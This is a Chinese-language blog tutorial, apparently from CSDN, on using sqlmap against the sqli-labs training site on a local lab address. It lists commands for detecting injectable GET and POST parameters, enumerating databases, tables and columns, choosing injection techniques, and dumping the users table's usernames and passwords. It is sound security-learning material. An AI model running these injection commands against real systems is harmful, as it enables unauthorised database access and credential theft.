sqlmap学习(sqli-labs为示例)

前言

由于python学的啥也不是,脚本写的也很不咋滴(不会写),因此来学习sqlmap的使用,本人只是小白,如果出现错误还请各位师傅多多指正。

sql-map部分指令

- -is-dba

--is-dba判断当前用户是管理员权限

- -current

 --current-user:检测当前用户
--current-db:检测当前数据库

-D,-T,-C

-D:指定数据库
-T:指定数据表
-C:指定字段,用逗号间隔

- -dump

--dump:获取字段信息

-v

-vx(x指数字)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:显示有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容

–batch

--batch:使用非交互式扫描,SQLMap将不会询问

get类型

这里以sql-labs第一关来进行示例

检测可注入类型

python sqlmap.py -u 网址

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1

最终执行结果如下
在这里插入图片描述给出了四种可以注入的方法,分别是get型注入,报错注入,时间盲注,联合查询注入

中间会出现三个选择的(全选y即可),具体如下

it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] 
//检测到数据库是mysql,询问你是否要跳过其他数据库
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
//提示是否扫描等级为1风险为1下的所有payload
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
//获取参数id易受攻击。你想继续测试其他的吗,这里我们的参数就一个id,因此选y即可

获取数据库

python sqlmap.py -u 网址 --dbs

解释:-u(--url)指的是url,即网址, --dbs是指数据库

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 --dbs

执行结果
在这里插入图片描述

获取表

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"表名" --tables

示例如下

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security" --tables

执行结果如下
在这里插入图片描述

获取列名

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据名"  -T"表名" --columns -v3
//-v3:显示payload

示例:

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security"  -T"users" --columns -v3

执行结果如下
在这里插入图片描述

获取字段信息

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"数据库名"  -T"表名" -C"列名" --dump  -v3

示例:

python sqlmap.py -u http://192.168.134.132/Less-1/?id=1 -D"security"  -T"users" -C"id,username,password" --dump  -v3

执行结果如下
在这里插入图片描述

post类型

准备工作

post注入时,无法直接利用sqlmap来进行破解,但是可以利用burpsuite这个工具来获取内容,将内容复制到一个txt文本中,再利用sqlmap对文本进行破解,具体操作如下
开启浏览器代理,刷新界面,使burpsuite获取到靶场内容,然后复制到下来
在这里插入图片描述

检测可注入类型

构造payload如下

python sqlmap.py -r 文件路径 --batch

示例如下

python sqlmap.py -r "D:\sqlmap\2.txt" --batch

执行结果如下
在这里插入图片描述

破解数据库

方法一

python sqlmap.py -r 文件路径 --batch --dbs
//-r指定路径,--batch无视选择 --dbs是获取数据库

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" --batch --dbs

执行结果
在这里插入图片描述

方法二

python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dbs
//-r指定路径,-p指定注入参数,--dbms指的是数据库管理系统,--dbms mysql 就代表mysql全部数据
--dbs 指获取数据库名

示例

python sqlmap.py -r "D:\sqlmap\3.txt" -p"uname " --dbms mysql --dbs

执行结果如下
在这里插入图片描述

破解数据表

方法一

python sqlmap.py -r 文件路径名 -D数据库名 --batch --tables

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" --batch --tables
//获取security库下全部表名

执行结果如下
在这里插入图片描述

方法二

python sqlmap.py -r 文件路径名 -p注入参数 --dbms mysql --tables

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --tables
//以passwd为参数,在mysql数据库中得到全部表名

执行结果如下
在这里插入图片描述

获取列名

方法一

python sqlmap.py -r 文件路径 -D数据库名 -T表名 --batch --columns
//-T后跟表名,可得到表的全部列名,当T不写时默认是该数据库所有表的全部列名

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" --batch --columns

执行结果如下
在这里插入图片描述

方法二

python sqlmap.py -r 文件路径-p注入参数 --dbms mysql --columns

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --columns
//获取当前数据库下的列名

执行结果如下
在这里插入图片描述

获取字段信息

方法一

python sqlmap.py -r 文件路径 -D数据库名 -T表名 -C列名 --dump --batch

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -D"security" -T"users" -C"username,password" --dump --batch

执行结果如下
在这里插入图片描述

方法二

python sqlmap.py -r 文件路径 -p注入参数 --dbms mysql --dump

示例如下

python sqlmap.py -r "D:\sqlmap\3.txt" -p"passwd" --dbms mysql --dump
//获取当前数据库下全部的字段信息

在这里插入图片描述
在这里插入图片描述

指定注入方式

sqlmap默认利用可用的全部方式,当我们想利用某一种方式来进行注入时,该怎么办呢
指令

--technique B 布尔盲注

--technique E 报错注入

--technique U union查询注入

--technique S 堆叠注入

--technique T 时间盲注

--technique Q 内联查询注入

部分示例如下

联合查询注入

在这里插入图片描述

时间盲注

sqlmap -u"http://192.168.134.132/Less-28a/?id=1" --technique T --time-sec 1 --dbs   
//--technique T指定使用时间盲注,--time-sec 1 设置时间盲注时间为1,--dbs  查询数据库

执行结果如下
在这里插入图片描述

 sqlmap -u"http://192.168.134.132/Less-28a/?id=1"  --technique T --time-sec 1 --tables 

执行结果如下
在这里插入图片描述

在这里插入图片描述

  • 2
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值